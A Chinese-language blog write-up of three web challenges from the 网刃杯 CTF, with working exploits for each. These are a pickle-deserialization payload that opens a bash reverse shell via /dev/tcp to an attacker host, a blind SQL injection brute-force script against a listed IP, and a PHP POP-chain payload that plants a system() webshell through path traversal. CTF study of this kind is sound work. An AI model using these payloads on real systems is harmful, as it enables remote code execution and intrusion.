[网刃杯] Web WriteUp

ez-web

进入题目在注释里看到<!-- ?pic=1.jpg -->
加上提示flask,?pic=app.py直接读取到app.py,然后base64解码得到:

import pickle
import base64
from flask import Flask, request
from flask import render_template,redirect,send_from_directory
import os
import requests
import random
from flask import send_file

app = Flask(__name__)

class User():
    def __init__(self,name,age):
        self.name = name
        self.age = age

def check(s):
    if b'R' in s:
        return 0
    return 1


@app.route("/")
def index():
    try:
        user = base64.b64decode(request.cookies.get('user'))
        if check(user):
            user = pickle.loads(user)
            username = user["username"]
        else:
            username = "bad,bad,hacker"
    except:
        username = "CTFer"
    pic = '{0}.jpg'.format(random.randint(1,7))
    
    try:
        pic=request.args.get('pic')
        with open(pic, 'rb') as f:
            base64_data = base64.b64encode(f.read())
            p = base64_data.decode()
    except:
        pic='{0}.jpg'.format(random.randint(1,7))
        with open(pic, 'rb') as f:
            base64_data = base64.b64encode(f.read())
            p = base64_data.decode()

    return render_template('index.html', uname=username, pic=p )


if __name__ == "__main__":
    app.run('0.0.0.0')

/flag没有啥东西,注意到user = pickle.loads(user),想到可以利用opcode来RCE,但是过滤了R,可以用o,构造Payload:

import base64
data=b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/VPS/7777 0>&1"'
o.'''
print(base64.b64encode(data))

服务器上监听7777端口,然后将得到的payload写入cookie:user=PAYLOAD

请求页面得到反弹Shell,然后需要ls -al /来列出包括隐藏文件在内(flag在隐藏文件中)的文件:

然后cat /.ffffffffllllllllllllaaaaag即可获得flag:flag{a806de95e0fd1e1ba5de6ed1ef20adb2}

ez-sql

InCTF2021原题,参考https://blog.bi0s.in/2021/08/15/Web/Vuln-Drive-InCTF-Internationals-2021/ 的exp,改一下表名和字段就出来了:

import requests
url="http://116.62.239.41:4323/"
flag=''
flaga=""
for i in range(1, 100):
    for c in '1234567890abcdefghijklmnopqrstuvwxyz':
        payload=flaga+str(hex(ord(c)))[2:]
        sql = f'1,username from user where password like 0x{payload}25 union select 1'
        r = requests.get(url+ f'?sql1=%2527&sql2={sql}')
        if 'nop' in r.text:
            flaga = flaga+str(hex(ord(c)))[2:]
            flag+=c
            break
        print(flag)


包裹flag{}提交

ez-php

l3m0n师傅放在博客的原题改了改又拿出来用了:

 <?php
highlight_file(__FILE__);
class c4t
{
  protected $blacklists = array("GET", "POST", "system", "eval", "cat", "tail", "head", "tac", "more", "less", "nl", "sort", "$", "%");
  function filter($data)
  {
    foreach ($this->blacklists as $filters) {
      if (strstr($data, $filters)) {
        exit("bad,bad,hacker");
      }
    }
    if (';' === preg_replace('/[a-z]+\((?R)?\)/', "6666", $data)) {
      if (preg_match('/readfile|if|time|local|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $data)) {
        exit("Go,away!");
      }
      return $data;
    }
    return $data;
  }
};

class yang
{
  protected $filters;
  protected $endl;
  function __construct($filters, $endl)
  {
    $this->filters = $filters;
    $this->endl = $endl;
  }
  function format($txt)
  {
    foreach ($this->filters as $filter) {
      $txt = $filter->filter($txt);
    }
    $txt = str_replace('\n', $this->endl, $txt);
    return $txt;
  }
};

class host
{
  protected $filename;
  protected $format;
  function __construct($filename, $format)
  {
    $this->filename = str_replace("..", "__", str_replace("/", "_", $filename));
    $this->format = $format;
  }
  function writeLog($txt)
  {
    $txt = $this->format->format($txt);
    //TODO: Modify the address here, and delete this TODO.
    file_put_contents("/var/log/" . $this->filename, $txt, FILE_APPEND);
  }
};

class xin
{
  protected $logwriter;
  function __construct($writer)
  {
    $this->logwriter = $writer;
  }
  function log($txt)
  {
    $this->logwriter->writeLog($txt);
  }
};

class v0id
{
  protected $xin;
  protected $name;
  protected $group;
  protected $url;
  function __construct($name, $group, $url)
  {
    $this->name = $name;
    $this->group = $group;
    $this->url = $url;
    $fltr = new c4t("/\[i\](.*)\[\/i\]/i", "<i>\\1</i>");
    $this->xin = new xin(new host("song_views", new yang(array($fltr), "\n")));
  }
  function __toString()
  {
    return "<a href='" . $this->url . "'><i>" . $this->name . "</i></a> by " . $this->group;
  }
  function log()
  {
    $this->xin->log("v0id " . $this->name . " by [i]" . $this->group . "[/i] viewed.\n");
  }
  function get_name()
  {
    return $this->name;
  }
}

class fz
{
  protected $fz;
  protected $v0id;
  function __construct($fz, $v0id)
  {
    $this->v0id = $v0id;
    $this->fz = $fz;
  }
  function __toString()
  {
    return "<p>" . $this->v0id->__toString() . "</p><p>" . str_replace("\n", "<br />", $this->fz) . "</p>\n";
  }
  function __destruct()
  {
    $this->v0id->log();
  }
  function shortForm()
  {
    return "<p><a href='v0id.php?name=" . urlencode($this->v0id->get_name()) . "'>" . $this->v0id->get_name() . "</a></p>";
  }
  function name_is($name)
  {
    return $this->v0id->get_name() === $name;
  }
};

class Orz
{
  static function addLyrics($fz)
  {
    $oldlyrics = array();
    if (isset($_COOKIE['fz'])) {
      $oldlyrics = unserialize(base64_decode($_COOKIE['fz']));
    }
    foreach ($fz as $lyric) $oldlyrics[] = $lyric;
    setcookie('fz', base64_encode(serialize($oldlyrics)));
  }
  static function getLyrics()
  {
    if (isset($_COOKIE['fz'])) {
      return unserialize(base64_decode($_COOKIE['fz']));
    } else {
      setcookie('fz', base64_encode(serialize(array(1, 2))));
      return array(1, 2);
    }
  }
};

class bolean
{
  static function exportData($fz)
  {
    return base64_encode(serialize($fz));
  }
  static function importData($fz)
  {
    return serialize(base64_decode($fz));
  }
};

class ymnh
{
  protected $ymnh;
  function __construct($dbuser, $dbpass, $db)
  {
    $this->ymnh = mysqli_connect("localhost", $dbuser, $dbpass, $db);
  }

  function getLyrics($fz)
  {
    $r = array();
    foreach ($fz as $lyric) {
      $s = intval($lyric);
      $result = $this->ymnh->query("SELECT data FROM fz WHERE id=$s");
      while (($row = $result->fetch_row()) != NULL) {
        $r[] = unserialize(base64_decode($row[0]));
      }
    }
    return $r;
  }

  function addLyrics($fz)
  {
    $ids = array();
    foreach ($fz as $lyric) {
      $this->ymnh->query("INSERT INTO fz (data) VALUES (\"" . base64_encode(serialize($lyric)) . "\")");
      $res = $this->ymnh->query("SELECT MAX(id) FROM fz");
      $id = $res->fetch_row();
      $ids[] = intval($id[0]);
    }
    echo var_dump($ids);
    return $ids;
  }

  function __destruct()
  {
    $this->ymnh->close();
    $this->ymnh = NULL;
  }
};

@unserialize($_POST['a']); 

Pop链构造,还是先找找析构函数来入手,发现了两个析构函数:

//fz类
    function __destruct()
    {
        $this->v0id->log();
    }
//ymnh类
    function __destruct()
    {
        $this->ymnh->close();
        $this->ymnh = NULL;
    }

大概看一下ymnh类的析构函数并没有什么用,还是跟进v0id类的log方法:

class v0id
{
    protected $xin;
    protected $name;
    protected $group;

    function log()
    {
        $this->xin->log("v0id " . $this->name . " by [i]" . $this->group . "[/i] viewed.\n");
    }
}

跟进xin类的log方法:

class xin
{
    protected $logwriter;

    function log($txt)
    {
        $this->logwriter->writeLog($txt);
    }
};

这里的$logwriter可控,因此可以调用到任意类的writeLog方法,跟进host类的writeLog方法:

class host
{
    protected $filename;
    protected $format;

	  function __construct($filename, $format)
    {
        $this->format = $format;
        $this->filename = $filename;
    }

    function writeLog($txt)
    {
        $txt = $this->format->format($txt);
        //TODO: Modify the address here, and delete this TODO.
        file_put_contents("/var/log/" . $this->filename, $txt, FILE_APPEND);
    }
}

同样的$format字段可控,可以调用到yang类的format方法:

class yang
{
    protected $filters;
    protected $endl;
    function __construct($filters, $endl)
    {
        $this->filters = $filters;
        $this->endl = $endl;
    }

    function format($txt)
    {
        foreach ($this->filters as $filter) {
            $txt = $filter->filter($txt);
        }
        $txt = str_replace('\n', $this->endl, $txt);
        return $txt;
    }
};

这里是可以给$filter传一个空数组,这样就可以不调用c4t类中的检测方法。
同时c4t下面的这段过滤是无效的:

    if (';' === preg_replace('/[a-z]+\((?R)?\)/', "6666", $data)) {
      if (preg_match('/readfile|if|time|local|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $data)) {
        exit("Go,away!");
      }
      return $data;
    }

因为';' === preg_replace('/[a-z]+\((?R)?\)/', "6666", $data)是恒为False的,所以不会进入进一步的判断。

参考php 反序列化POP链的构造与理解改一改就可以构造出payload:

<?php
class yang {
    protected $filters;
    protected $endl;
    function __construct($filters, $endl) {
        $this->filters = $filters;
        $this->endl = $endl;
    }
}

class host {
    protected $filename;
    protected $format;
    function __construct($filename, $format) {
        $this->format = $format;
        $this->filename = $filename;
    }
}

class xin {
    protected $logwriter;
    function __construct($writer) {
        $this->logwriter = $writer;
    }
}

class v0id {
    protected $xin;
    protected $name;
    protected $group;
    function __construct($name, $group, $logger) {
        $this->name = $name;
        $this->group = $group;
        $this->xin = $logger;
    }
}

class fz {
    protected $fz;
    protected $v0id;
    function __construct($fz, $v0id) {
        $this->v0id = $v0id;
        $this->fz = $fz;
    }
}

$logfileformat = new yang(array(), "a"); 
$log_write_file = new host('../../../../var/www/html/y3.php', $logfileformat);
$logger = new xin($log_write_file);
$song = new v0id('JrXnm','<?php system("cat ./*");?>', $logger);
$lyrics = new fz('JrXnm',$song);
echo urlencode(serialize($lyrics));

POST:
a=O%3A2%3A%22fz%22%3A2%3A%7Bs%3A5%3A%22%00%2A%00fz%22%3Bs%3A5%3A%22JrXnm%22%3Bs%3A7%3A%22%00%2A%00v0id%22%3BO%3A4%3A%22v0id%22%3A3%3A%7Bs%3A6%3A%22%00%2A%00xin%22%3BO%3A3%3A%22xin%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00logwriter%22%3BO%3A4%3A%22host%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00filename%22%3Bs%3A31%3A%22..%2F..%2F..%2F..%2Fvar%2Fwww%2Fhtml%2Fy3.php%22%3Bs%3A9%3A%22%00%2A%00format%22%3BO%3A4%3A%22yang%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00filters%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22%00%2A%00endl%22%3Bs%3A1%3A%22%0A%22%3B%7D%7D%7Ds%3A7%3A%22%00%2A%00name%22%3Bs%3A5%3A%22JrXnm%22%3Bs%3A8%3A%22%00%2A%00group%22%3Bs%3A25%3A%22%3C%3Fphp+system%28%22cat+.%2F%2A%22%29%3F%3E%22%3B%7D%7D

感谢Frank师傅和CyXq师傅对本文几处错误的指正,已经进行了更正~

posted @ 2021-09-13 03:32  Ye'sBlog  阅读(674)  评论(0编辑  收藏  举报